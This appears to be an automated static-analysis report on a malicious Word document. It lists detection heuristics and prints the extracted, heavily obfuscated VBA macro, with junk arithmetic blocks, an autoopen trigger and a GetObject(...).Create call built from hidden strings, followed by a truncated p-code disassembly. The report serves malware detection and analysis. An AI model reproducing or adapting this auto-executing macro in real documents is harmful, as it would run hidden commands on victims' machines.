Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b4b12e8646c35ae0…

MALICIOUS

Office (OLE)

151.6 KB Created: 2019-04-05 12:34:00 Authoring application: Microsoft Office Word First seen: 2022-07-02
MD5: 1b311c5e9f0eccde683851e24e2d1102 SHA-1: 8581942b5006bb805002a4258f19c33492d181af SHA-256: b4b12e8646c35ae03b3ae6a4ba14f8cc9210a8770548d0198d82bbc0a647c1db
190 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6932000-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6932000-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set tAAUoA = GetObject(zAAB1AA.ZBAAZBBA + AX1AQk.nDkAA4A + zAAB1AA.ZBAAZBBA)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 31386 bytes
SHA-256: cd823921789f025800f4c1db2fe59200babcc89d211389f389d3b1f2971a1cd6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "hkQkBXA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "zAAB1AA"
Attribute VB_Base = "0{03D8C51D-3E76-4A2B-92D4-ECC7A6EAD2E7}{A5B7373E-E6C8-4A1D-B36A-8277CE1DD7FA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "AX1AQk"
Attribute VB_Base = "0{CBBD121C-2ED8-4FE0-A1B2-CD5D30AC3D66}{B7B4EAE5-D685-486B-8640-2A131AF5AB7D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "G4GDD4"
Function iwB4CX()
   If 606338906 = 666383500 Then
      jwUAAAC = 800265766 + Hex(wQAUCQo) + 112256309 / v4wAU_U * (JZ_AkA * CSng(981972793 / CByte(YAAQ1cA)) - fAC1ZAAQ - Sqr(DA1AAQ / 278689676 + 28565801 + CDate(vccZAABA - Sgn(367382793) + JZ4AZ1 * 898108508))) + (7754973 + 829126681 + 814460599 * wcAXAGc)
End If
   If 444000992 = 487442409 Then
      qDCDkXZ1 = 752939221 + Hex(RBBQU4UA) + 320405955 / iQxABkAA * (MUQBGBZA * CSng(332167598 / CByte(fw_oDABA)) - wAAGAD - Sqr(UDkGADA / 15253373 + 909465096 + CDate(vXcADA - Sgn(311298961) + ZwD4AQ * 253291125))) + (893828359 + 623783325 + 162218269 * c_CZUC)
End If
End Function
Sub autoopen()
TB_AAcoA
End Sub
Function DCAA_oB()
   If 837509444 = 13256662 Then
      EA1AAw = 648339908 + Hex(wA4B4AA) + 702925007 / iQXDAA * (dA1A4Uox * CSng(348974770 / CByte(GDACoA)) - MkAkAG - Sqr(poQko_1D / 782550943 + 322476671 + CDate(tcB1cQ - Sgn(34610043) + iACACAAA * 155203454))) + (985608257 + 136150987 + 792762787 * HBx1GA)
End If
   If 165504273 = 420262227 Then
      qZQDQA = 938102217 + Hex(SoABCAB) + 412060701 / XD4AABDx * (uoABkBUG * CSng(742854937 / CByte(LxD1DDw)) - wQCZACwo - Sqr(VxA4Z_AA / 703137807 + 357007553 + CDate(iZ_wDw - Sgn(322666959) + HDxADA * 236969735))) + (83090737 + 187495052 + 374884522 * z1_AAoA)
End If
   If 227070193 = 334906177 Then
      SkAAQ1U = 713637544 + Hex(KxAXAk4k) + 489164095 / ABCAoUCX * (PAAkXUo * CSng(669353621 / CByte(SDQQAAQX)) - FBC4D1XB - Sqr(WZA1AAXA / 993448202 + 744096749 + CDate(O__AAAU - Sgn(833963735) + SCA_1QQo * 187486212))) + (16635810 + 4181086 + 321067219 * JZAoBUXk)
End If
End Function

Attribute VB_Name = "akAwQAB"
Function ICBAAA1D()
   If 142505114 = 848699848 Then
      jCQoBUAZ = 497725971 + Hex(f1ZAGc) + 420932561 / mZQx4A * (ZAUAoU * CSng(683011150 / CByte(pUCkAB)) - WAA1A_UA - Sqr(FXQ1C4 / 736258905 + 4291415 + CDate(jU4ADQ - Sgn(179825284) + KAAQAAU * 638750389))) + (723798843 + 256013966 + 193281786 * wQBUAZ)
End If
   If 908281183 = 402182110 Then
      EDAA4D = 938428344 + Hex(IZAAxAQ) + 703556760 / KXA4G4A * (mAABZx * CSng(94185553 / CByte(aDXoAAAk)) - SGUGAA - Sqr(SQDAowUD / 291560126 + 533911988 + CDate(HABDXQA - Sgn(348274229) + pBDAZBA * 649607576))) + (575705706 + 82929628 + 338310450 * WAXwcAAx)
End If
End Function
Function TB_AAcoA()
On Error Resume Next
   If 138115491 = 214476140 Then
      AQBoGX = 864728554 + Hex(iABAAX) + 832274858 / RDDw4BAA * (ZA4wUD * CSng(170831004 / CByte(jUA_CB)) - qG_AAADo - Sqr(pAcADAAD / 320474809 + 60350230 + CDate(JAA4UA - Sgn(711045762) + hQkxGc * 779058464))) + (770843382 + 381536784 + 242471098 * IDxw4D)
End If
   If 953353816 = 149571536 Then
      VxZBQA1 = 674832449 + Hex(zDcAw_4B) + 1492837 / jAUGkB * (Ik4DABGU * CSng(509835581 / CByte(s1X41oD)) - z_UA_QU - Sqr(vABQAD / 649395149 + 376569709 + CDate(QQADZUA - Sgn(795080199) + FAAAAQ * 697558301))) + (729799797 + 463151164 + 893101993 * P14AQADD)
End If
   If 895421455 = 739676634 Then
      UQ_QB4 = 551537469 + Hex(jA4GUU_) + 681265826 / MDcAQQw * (BXXQAQAZ * CSng(729509407 / CByte(ww1xBAUB)) - vAkXAA - Sqr(kw4_A_ / 255643475 + 487878416 + CDate(uAXAABAx - Sgn(39708971) + zAAQUkB * 98315108))) + (599576813 + 888175921 + 850334707 * B1A_BB)
End If
Set tAAUoA = GetObject(zAAB1AA.ZBAAZBBA + AX1AQk.nDkAA4A + zAAB1AA.ZBAAZBBA)
   If 907052345 = 183746185 Then
      WA4_D_ = 512703005 + Hex(CXAwDUcQ) + 111569748 / JoGAGGc * (mAoBDkw * CSng(990676005 / CByte(tADA1QAU)) - PAAAAk - Sqr(bQGZBB / 87174408 + 301719907 + CDate(FCAcAA - Sgn(48525930) + bDQACUAA * 413413959))) + (941818107 + 627695720 + 218329558 * G_4AUoQ)
End If
   If 107488201 = 595680069 Then
      wAAABX = 701733611 + Hex(RAwQAAA) + 518467100 / w1o4cAD * (cAUDQD * CSng(8336364 / CByte(nBDCADBx)) - KAAk_DD - Sqr(JAQ_AA / 75855418 + 514701289 + CDate(kUUBAAAA - Sgn(960779700) + pcZAXxA * 947369725))) + (251867650 + 265306031 + 454624619 * cxckQACB)
End If
If 126034 <= 126034 Then
   If 468765160 = 184181937 Then
      dQQoXC = 459407683 + Hex(EQooDA) + 453844188 / WAADGQ_c * (qAcBA_oc * CSng(69293300 / CByte(wZcoXA)) - vACUZAU - Sqr(tcUXCU / 168083301 + 921850750 + CDate(fAwGUQUZ - Sgn(236409246) + YQA4DCo * 442350219))) + (495240816 + 836166279 + 570929318 * FDAAcABC)
End If
   If 473511122 = 898361748 Then
      nwwwX_ = 446592944 + Hex(d4GAB1Q) + 209037211 / QADAUDC * (YBADXkAX * CSng(171435463 / CByte(nAoAABA)) - fBBAAx - Sqr(UQAAABQ / 711991259 + 821790970 + CDate(K1kDBBA - Sgn(665649582) + ZBACDAAA * 306018894))) + (42680421 + 181086779 + 481054043 * hwwBDDUZ)
End If
   If 496127237 = 251947505 Then
      fABAwAUA = 371495423 + Hex(DAAAAB) + 405453231 / FUDDAQU * (hBQAcABB * CSng(117258414 / CByte(AGQAcUZA)) - sDAUGXU - Sqr(XAGAABAA / 758697760 + 773320896 + CDate(YCxAAAw - Sgn(396814740) + ckDQAD * 955291484))) + (339315818 + 454979329 + 158115531 * AQAAAB)
End If
tAAUoA. _
ShOwWiNdOw = zAAB1AA.wUZDBBQB - zAAB1AA.wUZDBBQB + zAAB1AA.wUZDBBQB + zAAB1AA.wUZDBBQB + zAAB1AA.wUZDBBQB
   If 503992097 = 349400171 Then
      zADoC4 = 865652333 + Hex(aUAwUAA) + 362633516 / akGAUA1 * (zAAA_AX * CSng(175462216 / CByte(cADX14A)) - CAAXUAAc - Sqr(hBGA1A / 302593004 + 607688215 + CDate(QQADBwA - Sgn(425096904) + HCAD1AA * 126298208))) + (186463797 + 710350413 + 43204401 * EAGBcQAc)
End If
   If 203389388 = 584513575 Then
      OAAAACk = 16407549 + Hex(zZcccAQ) + 934961806 / tAwAAU1 * (CXA1wxAQ * CSng(859050214 / CByte(rG_xQ4)) - Y4GAZQG - Sqr(A1AAAA / 150118524 + 206662171 + CDate(mcBDGo - Sgn(774660170) + IwAADA * 615088273))) + (282166505 + 389769943 + 910016453 * cDxQBAGA)
End If
   If 928223089 = 864680551 Then
      ZQXDBDD_ = 776722888 + Hex(dwUAUU) + 102404770 / jxGABXQ * (fAQQo__ * CSng(594858329 / CByte(jBQUGAc)) - mUBADAA - Sqr(wAUAAo / 172461205 + 651625779 + CDate(SwAADA - Sgn(837422494) + hxZoUA * 573982733))) + (197397781 + 757584089 + 227898586 * fxUGDCoZ)
End If
End If
   If 580574396 = 400563241 Then
      zA_x1QU = 731808676 + Hex(PAxA_D) + 407397743 / QAAAAA * (SAAAAAAA * CSng(204988446 / CByte(rDQUQACB)) - fAU1AAA - Sqr(dA_AA1Q / 585030671 + 553633002 + CDate(iAcA_UQ4 - Sgn(267565876) + ICAAQAAU * 991833887))) + (989474363 + 157219223 + 826639694 * TB_AcAU_)
End If
   If 364663561 = 503741584 Then
      YAQZwZDA = 21746999 + Hex(XoAAkUAA) + 900890270 / DwXkQQD * (LBZkxQ1 * CSng(222631469 / CByte(hAwA_1)) - IBUAGA - Sqr(b1kcBB / 674008895 + 65602376 + CDate(Uxw4DAGA - Sgn(235709904) + KABxBAZA * 150387376))) + (903539638 + 447608451 + 169093055 * AkQBAw)
End If
Call GetObject(zAAB1AA.ZBAAZBBA + AX1AQk.jAAAAA + zAAB1AA.ZBAAZBBA).Create(zAAB1AA.ZBAAZBBA + AX1AQk.oUQAABXG + zAAB1AA.ZBAAZBBA + AX1AQk.oDUDAD + zAAB1AA.ZBAAZBBA + zAAB1AA.ZBAAZBBA + AX1AQk.RkAA_G + zAAB1AA.ZBAAZBBA + zAAB1AA.ZBAAZBBA + AX1AQk.qAADAZ + zAAB1AA.ZBAAZBBA + AX1AQk.NAU_AkkA + zAAB1AA.ZBAAZBBA, uZcBA1U, tAAUoA, zAAB1AA.ZBAAZBBA)
   If 984245846 = 665901163 Then
      SAA4ADG = 941929 + Hex(zAAZA4) + 570118278 / nZcBxDDU * (NBQDx_ * CSng(392112464 / CByte(j4AAAA)) - A_AAAG - Sqr(wU4AwDUU / 787991091 + 41898477 + CDate(rAxGZ1 - Sgn(698246854) + tAX_AAA * 866021273))) + (66725634 + 463432800 + 159952269 * EDQGAA)
End If
   If 408788319 = 196540243 Then
      doBAQoox = 335624057 + Hex(qAUU1ABU) + 654973532 / aDDZDDAU * (VAoABGGo * CSng(25355475 / CByte(kAAAUxAU)) - BDUDQAAZ - Sqr(hAoUAZ / 148761042 + 722226996 + CDate(aAZAAA - Sgn(766020475) + FD1QkU_A * 902957598))) + (818344391 + 516623071 + 616486399 * uAUAAQ)
End If
End Function
Function YDAUoQ()
   If 806226024 = 826496534 Then
      o1wZG_ = 141912057 + Hex(AZZ_AcB) + 545684350 / ZUA_ZU * (aA1DxA * CSng(465726467 / CByte(UAc4AB1)) - RAZAAAxQ - Sqr(fAAAX1AQ / 160677747 + 933174979 + CDate(zQ4XAA - Sgn(706661404) + uXZD1GA * 573467402))) + (24704292 + 46534275 + 487902836 * h4ACQ1A1)
End If
   If 134994052 = 478571143 Then
      RAxQAC = 4517909 + Hex(uG1BBQUU) + 590925903 / VAAAQ44c * (LAQAwA * CSng(874369182 / CByte(SA_kUZAC)) - dAQAAo - Sqr(KQQAxUQG / 946623982 + 761710966 + CDate(jBXA_xC - Sgn(533033570) + BGcQQk * 669768821))) + (92142467 + 904963641 + 565683090 * jAAAoAB)
End If
   If 13366794 = 702427781 Then
      XDBDoAZx = 205913972 + Hex(kQ4D4A) + 978167160 / K_UDDZA * (ooAAAAA * CSng(467311808 / CByte(KQAABG)) - FQAxAQQ - Sqr(jwcDcAQA / 58705740 + 74663022 + CDate(R1ACAA - Sgn(811300207) + HGDxAA * 693461209))) + (748221745 + 855074853 + 281729048 * OXAXAXAk)
End If
End Function


' Processing file: /opt/analyzer/scan_staging/6510a43dfe224f9fae0431d11a58f45d.bin
' ===============================================================================
' Module streams:
' Macros/VBA/hkQkBXA - 1105 bytes
' Macros/VBA/zAAB1AA - 1156 bytes
' Macros/VBA/AX1AQk - 1157 bytes
' Macros/VBA/G4GDD4 - 3373 bytes
' Line #0:
' 	FuncDefn (Function G4GDD4())
' Line #1:
' 	LitDI4 0xFF5A 0x2423 
' 	LitDI4 0x348C 0x27B8 
' 	Eq 
' 	IfBlock 
' Line #2:
' 	LitDI4 0x1626 0x2FB3 
' 	Ld jwUAAAC 
' 	ArgsLd Hex 0x0001 
' 	Add 
' 	LitDI4 0xE535 0x06B0 
' 	Ld wQAUCQo 
' 	Div 
' 	Ld v4wAU_U 
' 	LitDI4 0xB739 0x3A87 
' 	Ld JZ_AkA 
' 	Coerce (Byte) 
' 	Div 
' 	Coerce (Sng) 
' 	Mul 
' 	Ld YAAQ1cA 
' 	Sub 
' 	Ld fAC1ZAAQ 
' 	LitDI4 0x778C 0x109C 
' 	Div 
' 	LitDI4 0xE129 0x01B3 
' 	Add 
' 	Ld DA1AAQ 
' 	LitDI4 0xD109 0x15E5 
' 	FnSgn 
' 	Sub 
' 	Ld vccZAABA 
' 	LitDI4 0x0C5C 0x3588 
' 	Mul 
' 	Add 
' 	Coerce (Date) 
' 	Add 
' 	ArgsLd Sqr 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	LitDI4 0x54DD 0x0076 
' 	LitDI4 0x7819 0x316B 
' 	Add 
' 	LitDI4 0xAEB7 0x308B 
' 	Ld JZ4AZ1 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	St iwB4CX 
' Line #3:
' 	EndIfBlock 
' Line #4:
' 	LitDI4 0xEAE0 0x1A76 
' 	LitDI4 0xC7E9 0x1D0D 
' 	Eq 
' 	IfBlock 
' Line #5:
' 	LitDI4 0xF0D5 0x2CE0 
' 	Ld qDCDkXZ1 
' 	ArgsLd Hex 0x0001 
' 	Add 
' 	LitDI4 0x01C3 0x1319 
' 	Ld RBBQU4UA 
' 	Div 
' 	Ld iQxABkAA 
' 	LitDI4 0x79AE 0x13CC 
' 	Ld MUQBGBZA 
' 	Coerce (Byte) 
' 	Div 
' 	Coerce (Sng) 
' 	Mul 
' 	Ld fw_oDABA 
' 	Sub 
' 	Ld wAAGAD 
' 	LitDI4 0xBF7D 0x00E8 
' 	Div 
' 	LitDI4 0x5608 0x3635 
' 	Add 
' 	Ld UDkGADA 
' 	LitDI4 0x0B91 0x128E 
' 	FnSgn 
' 	Sub 
' 	Ld vXcADA 
' 	LitDI4 0xEA75 0x0F18 
' 	Mul 
' 	Add 
' 	Coerce (Date) 
' 	Add 
' 	ArgsLd Sqr 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	LitDI4 0xBD07 0x3546 
' 	LitDI4 0x2D9D 0x252E 
' 	Add 
' 	LitDI4 0x411D 0x09AB 
' 	Ld ZwD4AQ 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	St wcAXAGc 
' Line #6:
' 	EndIfBlock 
' Line #7:
' 	EndFunc 
' Line #8:
' 	FuncDefn (Sub c_CZUC())
' Line #9:
' 	ArgsCall autoopen 0x0000 
' Line #10:
' 	EndSub 
' Line #11:
' 	FuncDefn (Function TB_AAcoA())
' Line #12:
' 	LitDI4 0x6144 0x31EB 
' 	LitDI4 0x47D6 0x00CA 
' 	Eq 
' 	IfBlock 
' Line #13:
' 	LitDI4 0xE1C4 0x26A4 
' 	Ld EA1AAw 
' 	ArgsLd Hex 0x0001 
' 	Add 
' 	LitDI4 0xC8CF 0x29E5 
' 	Ld wA4B4AA 
' 	Div 
' 	Ld iQXDAA 
' 	LitDI4 0xEEB2 0x14CC 
' 	Ld dA1A4Uox 
' 	Coerce (Byte) 
' 	Div 
' 	Coerce (Sng) 
' 	Mul 
' 	Ld GDACoA 
' 	Sub 
' 	Ld MkAkAG 
' 	LitDI4 0xC79F 0x2EA4 
' 	Div 
' 	LitDI4 0x9A7F 0x1338 
' 	Add 
' 	Ld poQko_1D 
' 	LitDI4 0x1B7B 0x0210 
' 	FnSgn 
' 	Sub 
' 	Ld tcB1cQ 
' 	LitDI4 0x377E 0x0940 
' 	Mul 
' 	Add 
' 	Coerce (Date) 
' 	Add 
' 	ArgsLd Sqr 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	LitDI4 0x3041 0x3ABF 
' 	LitDI4 0x7FCB 0x081D 
' 	Add 
' 	LitDI4 0x99A3 0x2F40 
' 	Ld iACACAAA 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	St DCAA_oB 
' Line #14:
' 	EndIfBlock 
' Line #15:
' 	LitDI4 0x6511 0x09DD 
' 	LitDI4 0xB153 0x190C 
' 	Eq 
' 	IfBlock 
' Line #16:
' 	LitDI4 0x4DC9 0x37EA 
' 	Ld qZQDQA 
' 	ArgsLd Hex 0x0001 
' 	Add 
' 	LitDI4 0x8C1D 0x188F 
' 	Ld SoABCAB 
' 	Div 
' 	Ld XD4AABDx 
' 	LitDI4 0x1119 0x2C47 
' 	Ld uoABkBUG 
' 	Coerce (Byte) 
' 	Div 
' 	Coerce (Sng) 
' 	Mul 
' 	Ld LxD1DDw 
' 	Sub 
' 	Ld wQCZACwo 
' 	LitDI4 0x080F 0x29E9 
' 	Div 
' 	LitDI4 0x80C1 0x1547 
' 	Add 
' 	Ld VxA4Z_AA 
' 	LitDI4 0x81CF 0x133B 
' 	FnSgn 
' 	Sub 
' 	Ld iZ_wDw 
' 	LitDI4 0xDF07 0x0E1F 
' 	Mul 
' 	Add 
' 	Coerce (Date) 
' 	Add 
' 	ArgsLd Sqr 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	LitDI4 0xDD31 0x04F3 
' 	LitDI4 0xF28C 0x0B2C 
' 	Add 
' 	LitDI4 0x48AA 0x1658 
' 	Ld HDxADA 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	St HBx1GA 
' Line #17:
' 	EndIfBlock 
' Line #18:
' 	LitDI4 0xD0F1 0x0D88 
' 	LitDI4 0x4341 0x13F6 
' 	Eq 
' 	IfBlock 
' Line #19:
' 	LitDI4 0x3EA8 0x2A89 
' 	Ld SkAAQ1U 
' 	ArgsLd Hex 0x0001 
' 	Add 
' 	LitDI4 0x0D3F 0x1D28 
' 	Ld KxAXAk4k 
' 	Div 
' 	Ld ABCAoUCX 
' 	LitDI4 0x8695 0x27E5 
' 	Ld PAAkXUo 
' 	Coerce (Byte) 
' 	Div 
' 	Coerce (Sng) 
' 	Mul 
' 	Ld SDQQAAQX 
' 	Sub 
' 	Ld FBC4D1XB 
' 	LitDI4 0xD10A 0x3B36 
' 	Div 
' 	LitDI4 0x03ED 0x2C5A 
' 	Add 
' 	Ld WZA1AAXA 
' 	LitDI4 0x46D7 0x31B5 
' 	FnSgn 
' 	Sub 
' 	Ld O__AAAU 
' 	LitDI4 0xD004 0x0B2C 
' 	Mul 
' 	Add 
' 	Coerce (Date) 
' 	Add 
' 	ArgsLd Sqr 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	LitDI4 0xD7A2 0x00FD 
' 	LitDI4 0xCC5E 0x003F 
' 	Add 
' 	LitDI4 0x18D3 0x1323 
' 	Ld SCA_1QQo 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	St z1_AAoA 
' Line #20:
' 	EndIfBlock 
' Line #21:
' 	EndFunc 
' Macros/VBA/akAwQAB - 10532 bytes
' Line #0:
' 	FuncDefn (Function akAwQAB())
' Line #1:
' 	LitDI4 0x749A 0x087E 
' 	LitDI4 0x21C8 0x3296 
' 	Eq 
' 	IfBlock 
' Line #2:
' 	LitDI4 0xB213 0x1DAA 
' 	Ld jCQoBUAZ 
' 	ArgsLd Hex 0x0001 
' 	Add 
' 	LitDI4 0xEBD1 0x1916 
' 	Ld f1ZAGc 
' 	Div 
' 	Ld mZQx4A 
' 	LitDI4 0xEC4E 0x28B5 
' 	Ld ZAUAoU 
' 	Coerce (Byte) 
' 	Div 
' 	Coerce (Sng) 
' 	Mul 
' 	Ld pUCkAB 
' 	Sub 
' 	Ld WAA1A_UA 
' 	LitDI4 0x6B59 0x2BE2 
' 	Div 
' 	LitDI4 0x7B57 0x0041 
' 	Add 
' 	Ld FXQ1C4 
' 	LitDI4 0xEA84 0x0AB7 
' 	FnSgn 
' 	Sub 
' 	Ld jU4ADQ 
' 	LitDI4 0x8EB5 0x2612 
' 	Mul 
' 	Add 
' 	Coerce (Date) 
' 	Add 
' 	ArgsLd Sqr 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	LitDI4 0x4B3B 0x2B24 
' 	LitDI4 0x768E 0x0F42 
' 	Add 
' 	LitDI4 0x3EFA 0x0B85 
' 	Ld KAAQAAU 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	St ICBAAA1D 
' Line #3:
' 	EndIfBlock 
' Line #4:
' 	LitDI4 0x455F 0x3623 
' 	LitDI4 0xCFDE 0x17F8 
' 	Eq 
' 	IfBlock 
' Line #5:
' 	LitDI4 0x47B8 0x37EF 
' 	Ld EDAA4D 
' 	ArgsLd Hex 0x0001 
' 	Add 
' 	LitDI4 0x6C98 0x29EF 
' 	Ld IZAAxAQ 
' 	Div 
' 	Ld KXA4G4A 
' 	LitDI4 0x2851 0x059D 
' 	Ld mAABZx 
' 	Coerce (Byte) 
' 	Div 
' 	Coerce (Sng) 
' 	Mul 
' 	Ld aDXoAAAk 
' 	Sub 
' 	Ld SGUGAA 
' 	LitDI4 0xDABE 0x1160 
' 	Div 
' 	LitDI4 0xD9B4 0x1FD2 
' 	Add 
' 	Ld SQDAowUD 
' 	LitDI4 0x3E35 0x14C2 
' 	FnSgn 
' 	Sub 
' 	Ld HABDXQA 
' 	LitDI4 0x3998 0x26B8 
' 	Mul 
' 	Add 
' 	Coerce (Date) 
' 	Add 
' 	ArgsLd Sqr 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	LitDI4 0x926A 0x2250 
' 	LitDI4 0x67DC 0x04F1 
' 	Add 
' 	LitDI4 0x3532 0x142A 
' 	Ld pBDAZBA 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	St wQBUAZ 
' Line #6:
' 	EndIfBlock 
' Line #7:
' 	EndFunc 
' Line #8:
' 	FuncDefn (Function autoopen())
' Line #9:
' 	OnError (Resume Next) 
' Line #10:
' 	LitDI4 0x79A3 0x083B 
' 	LitDI4 0xA56C 0x0CC8 
' 	Eq 
' 	IfBlock 
' Line #11:
' 	LitDI4 0xB5EA 0x338A 
' 	Ld AQBoGX 
' 	ArgsLd Hex 0x0001 
' 	Add 
' 	LitDI4 0x81AA 0x319B 
' 	Ld iABAAX 
' 	Div 
' 	Ld RDDw4BAA 
' 	LitDI4 0xAC9C 0x0A2E 
' 	Ld ZA4wUD 
' 	Coerce (Byte) 
' 	Div 
' 	Coerce (Sng) 
' 	Mul 
' 	Ld jUA_CB 
' 	Sub 
' 	Ld qG_AAADo 
' 	LitDI4 0x0EB9 0x131A 
' 	Div 
' 	LitDI4 0xDF16 0x0398 
' 	Add 
' 	Ld pAcADAAD 
' 	LitDI4 0xB282 0x2A61 
' 	FnSgn 
' 	Sub 
' 	Ld JAA4UA 
' 	LitDI4 0x7D20 0x2E6F 
' 	Mul 
' 	Add 
' 	Coerce (Date) 
' 	Add 
' 	ArgsLd Sqr 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	LitDI4 0x22F6 0x2DF2 
' 	LitDI4 0xCA10 0x16BD 
' 	Add 
' 	LitDI4 0xD0BA 0x0E73 
' 	Ld hQkxGc 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	St WAXwcAAx 
' Line #12:
' 	EndIfBlock 
' Line #13:
' 	LitDI4 0x0658 0x38D3 
' 	LitDI4 0x47D0 0x08EA 
' 	Eq 
' 	IfBlock 
' Line #14:
' 	LitDI4 0x2041 0x2839 
' 	Ld VxZBQA1 
' 	ArgsLd Hex 0x0001 
' 	Add 
' 	LitDI4 0xC765 0x0016 
' 	Ld zDcAw_4B 
' 	Div 
' 	Ld jAUGkB 
' 	LitDI4 0x793D 0x1E63 
' 	Ld Ik4DABGU 
' 	Coerce (Byte) 
' 	Div 
' 	Coerce (Sng) 
' 	Mul 
' 	Ld s1X41oD 
' 	Sub 
' 	Ld z_UA_QU 
' 	LitDI4 0xFBCD 0x26B4 
' 	Div 
' 	LitDI4 0xFF6D 0x1671 
' 	Add 
' 	Ld vABQAD 
' 	LitDI4 0xF607 0x2F63 
' 	FnSgn 
' 	Sub 
' 	Ld QQADZUA 
' 	LitDI4 0xE51D 0x2993 
' 	Mul 
' 	Add 
' 	Coerce (Date) 
' 	Add 
' 	ArgsLd Sqr 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	LitDI4 0xDC75 0x2B7F 
' 	LitDI4 0x203C 0x1B9B 
' 	Add 
' 	LitDI4 0xA7A9 0x353B 
' 	Ld FAAAAQ 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	St IDxw4D 
' Line #15:
' 	EndIfBlock 
' Line #16:
' 	LitDI4 0x0C0F 0x355F 
' 	LitDI4 0x91DA 0x2C16 
' 	Eq 
' 	IfBlock 
' Line #17:
' 	LitDI4 0xCB3D 0x20DF 
' 	Ld UQ_QB4 
' 	ArgsLd Hex 0x0001 
' 	Add 
' 	LitDI4 0x4AA2 0x289B 
' 	Ld jA4GUU_ 
' 	Div 
' 	Ld MDcAQQw 
' 	LitDI4 0x6E1F 0x2B7B 
' 	Ld BXXQAQAZ 
' 	Coerce (Byte) 
' 	Div 
' 	Coerce (Sng) 
' 	Mul 
' 	Ld ww1xBAUB 
' 	Sub 
' 	Ld vAkXAA 
' 	LitDI4 0xCF53 0x0F3C 
' 	Div 
' 	LitDI4 0x6F10 0x1D14 
' 	Add 
' 	Ld kw4_A_ 
' 	LitDI4 0xE92B 0x025D 
' 	FnSgn 
' 	Sub 
' 	Ld uAXAABAx 
' 	LitDI4 0x2B64 0x05DC 
' 	Mul 
' 	Add 
' 	Coerce (Date) 
' 	Add 
' 	ArgsLd Sqr 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	LitDI4 0xD0ED 0x23BC 
' 	LitDI4 0x7D31 0x34F0 
' 	Add 
' 	LitDI4 0x13F3 0x32AF 
' 	Ld zAAQUkB 
' 	Mul 
' 	Add 
' 	Paren 
' 	Add 
' 	St P14AQADD 
' Line #18:
' 	EndIfBlock 
' Line #19:
' 	SetStmt 
' 	Ld AX1AQk 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd ZBAAZBBA 
' 	Add 
' 	Ld AX1AQk 
' 	MemLd GetObject 
' 	Add 
' 	ArgsLd tAAUoA 0x0001 
' 	Set B1A_BB 
' Line #20:
' 	LitDI4 0x8539 0x3610 
' 	LitDI4 0xBE89 0x0AF3 
' 	Eq 
' 	IfBlock 
' Line #21:
' 	LitDI4 0x3A1D 0x1E8F 
' 	Ld WA4_D_ 
' 	ArgsLd Hex 0x0001 
' 	Add 
' 	LitDI4 0x6B54 0x06A6 
' 	Ld CXAwDUcQ 
' 	Div 
' 	Ld JoGAGGc 
' 	LitDI4 0x8425 0x3B0C 
' 	Ld mAoBDkw 
' 	Coerce (Byte) 
' 	Div 
